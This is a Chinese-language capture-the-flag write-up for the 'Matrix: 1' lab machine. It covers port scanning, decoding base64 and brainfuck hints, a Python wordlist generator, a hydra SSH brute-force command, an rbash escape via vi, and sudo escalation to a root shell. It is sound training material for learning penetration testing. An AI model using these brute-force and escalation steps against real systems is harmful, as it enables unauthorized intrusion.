Matrix: 1

靶机地址

Nmap 扫出来三个端口——>22、80、31337。

用 dirsearch 扫了一下两个端口,没什么东西,但是在 31337 端口的 web 页面注释里发现了一串 base 64:

1
2
3
ZWNobyAiVGhlbiB5b3UnbGwgc2VlLCB0aGF0IGl0IGlzIG5vdCB0aGUgc3Bvb24gdGhhdCBiZW5kcywgaXQgaXMgb25seSB5b3Vyc2VsZi4gIiA+IEN5cGhlci5tYXRyaXg=

echo "Then you'll see, that it is not the spoon that bends, it is only yourself. " > Cypher.matrix

下载 Cypher.matrix 发现是 brainfuck

解密之后的内容如下:

1
2
3
4
5
You can enter into matrix as guest, with password k1ll0rXX
Note: Actually, I forget last two characters so I have replaced with XX try your luck and find correct string of password.

您可以以访客身份进入矩阵,密码为 k1ll0rXX
注意:实际上,我忘记了最后两个字符,所以我用 XX 替换了,试试运气,找到正确的密码字符串。

因为网页上没有登录口,那应该是让我们爆破 ssh,用 Python 脚本生成一个字典

1
2
3
4
5
6
7
8
9
10
import itertools
import string

charset = string.ascii_letters + string.digits + string.punctuation
prefix = "k1ll0r"

with open("wordlist.txt","w") as file:
for c in itertools.product(charset,repeat=2):
password = prefix + ''.join(c)
file.write(password + '\n')

然后用以下命令进行爆破

1
hydra -l guest -P wordlist.txt ssh://192.168.234.150 

爆破出来密码为 k1ll0r7n,ssh 连接上后发现是一个受限的 rbash,连 ls 都执行不了。不过看到目录下有一个 vi,那就可以绕过限制

通过 vi 逃逸,然后在当前 shell 更新 shell 和环境变量,这样就可以正常执行命令了

1
2
3
4
:!/bin/bash

export SHELL=/bin/bash:$SHELL
export PATH=/usr/bin:$PATH

然后准备提权,发现可以直接获得 root shell,不过 /bin 目录之前没有添加到环境变量中,所以执行以下命令

1
2
sudo -l
sudo /bin/su

然后在 /root 目录下拿到 flag